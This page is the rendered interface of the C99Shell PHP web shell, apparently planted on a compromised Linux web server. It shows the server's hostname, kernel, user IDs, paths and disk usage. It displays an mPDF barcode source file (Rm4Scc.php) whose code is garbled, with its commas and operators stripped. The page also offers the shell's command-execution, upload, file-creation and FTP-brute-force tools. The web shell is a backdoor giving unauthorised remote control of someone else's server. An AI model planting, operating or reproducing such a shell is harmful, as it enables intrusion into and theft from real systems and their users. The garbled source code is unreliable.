!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/vendor/mpdf/mpdf/src/Barcode/   drwxr-xr-x
Free 26.17 GB of 117.98 GB (22.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Rm4Scc.php (4.22 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Mpdf\Barcode;

class 
Rm4Scc extends \Mpdf\Barcode\AbstractBarcode implements \Mpdf\Barcode\BarcodeInterface
{

    
/**
     * @param string $code
     * @param float $xDim
     * @param float $gapWidth
     * @param int[] $daft
     * @param bool $kix
     */
    
public function __construct($code$xDim$gapWidth$daft$kix false)
    {
        
$this->init($code$gapWidth$daft$kix);

        
$this->data['nom-X'] = $xDim;
        
$this->data['nom-H'] = 5.0// Nominal value for Height of Full bar in mm (spec.)
        
$this->data['quietL'] = 2// LEFT Quiet margin =  mm (spec.)
        
$this->data['quietR'] = 2// RIGHT Quiet margin =  mm (spec.)
        
$this->data['quietTB'] = 2// TOP/BOTTOM Quiet margin =  mm (spec?)
    
}

    
/**
     * @param string $code
     * @param float $gapWidth
     * @param int[] $daft
     * @param bool $kix
     */
    
private function init($code$gapWidth$daft$kix)
    {
        
$notkix = !$kix;

        
// bar mode
        // 1 = pos 1, length 2
        // 2 = pos 1, length 3
        // 3 = pos 2, length 1
        // 4 = pos 2, length 2

        
$barmode = [
            
'0' => [3322],
            
'1' => [3412],
            
'2' => [3421],
            
'3' => [4312],
            
'4' => [4321],
            
'5' => [4411],
            
'6' => [3142],
            
'7' => [3232],
            
'8' => [3241],
            
'9' => [4132],
            
'A' => [4141],
            
'B' => [4231],
            
'C' => [3124],
            
'D' => [3214],
            
'E' => [3223],
            
'F' => [4114],
            
'G' => [4123],
            
'H' => [4213],
            
'I' => [1342],
            
'J' => [1432],
            
'K' => [1441],
            
'L' => [2332],
            
'M' => [2341],
            
'N' => [2431],
            
'O' => [1324],
            
'P' => [1414],
            
'Q' => [1423],
            
'R' => [2314],
            
'S' => [2323],
            
'T' => [2413],
            
'U' => [1144],
            
'V' => [1234],
            
'W' => [1243],
            
'X' => [2134],
            
'Y' => [2143],
            
'Z' => [2233]
        ];

        
$code strtoupper($code);
        
$len strlen($code);

        
$bararray = ['code' => $code'maxw' => 0'maxh' => $daft['F'], 'bcode' => []];

        if (
$notkix) {
            
// table for checksum calculation (row,col)
            
$checktable = [
                
'0' => [11],
                
'1' => [12],
                
'2' => [13],
                
'3' => [14],
                
'4' => [15],
                
'5' => [10],
                
'6' => [21],
                
'7' => [22],
                
'8' => [23],
                
'9' => [24],
                
'A' => [25],
                
'B' => [20],
                
'C' => [31],
                
'D' => [32],
                
'E' => [33],
                
'F' => [34],
                
'G' => [35],
                
'H' => [30],
                
'I' => [41],
                
'J' => [42],
                
'K' => [43],
                
'L' => [44],
                
'M' => [45],
                
'N' => [40],
                
'O' => [51],
                
'P' => [52],
                
'Q' => [53],
                
'R' => [54],
                
'S' => [55],
                
'T' => [50],
                
'U' => [01],
                
'V' => [02],
                
'W' => [03],
                
'X' => [04],
                
'Y' => [05],
                
'Z' => [00]
            ];
            
$row 0;
            
$col 0;
            for (
$i 0$i $len; ++$i) {
                
$row += $checktable[$code[$i]][0];
                
$col += $checktable[$code[$i]][1];
            }
            
$row %= 6;
            
$col %= 6;
            
$chk array_keys($checktable, [$row$col]);
            
$code .= $chk[0];
            
$bararray['checkdigit'] = $chk[0];
            ++
$len;
        }

        
$k 0;
        if (
$notkix) {
            
// start bar
            
$bararray['bcode'][$k++] = ['t' => 1'w' => 1'h' => $daft['A'], 'p' => 0];
            
$bararray['bcode'][$k++] = ['t' => 0'w' => $gapWidth'h' => $daft['A'], 'p' => 0];
            
$bararray['maxw'] += ($gapWidth);
        }

        for (
$i 0$i $len; ++$i) {

            for (
$j 0$j 4; ++$j) {

                switch (
$barmode[$code[$i]][$j]) {
                    case 
1:
                        
// ascender (A)
                        
$p 0;
                        
$h $daft['A'];
                        break;
                    case 
2:
                        
// full bar (F)
                        
$p 0;
                        
$h $daft['F'];
                        break;
                    case 
3:
                        
// tracker (T)
                        
$p = ($daft['F'] - $daft['T']) / 2;
                        
$h $daft['T'];
                        break;
                    case 
4:
                        
// descender (D)
                        
$p $daft['F'] - $daft['D'];
                        
$h $daft['D'];
                        break;
                }

                
$bararray['bcode'][$k++] = ['t' => 1'w' => 1'h' => $h'p' => $p];
                
$bararray['bcode'][$k++] = ['t' => 0'w' => $gapWidth'h' => 2'p' => 0];
                
$bararray['maxw'] += ($gapWidth);

            }
        }

        if (
$notkix) {
            
// stop bar
            
$bararray['bcode'][$k++] = ['t' => 1'w' => 1'h' => $daft['F'], 'p' => 0];
            
$bararray['maxw'] += 1;
        }

        
$this->data $bararray;
    }

    
/**
     * @inheritdoc
     */
    
public function getType()
    {
        return 
'RM4SCC';
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--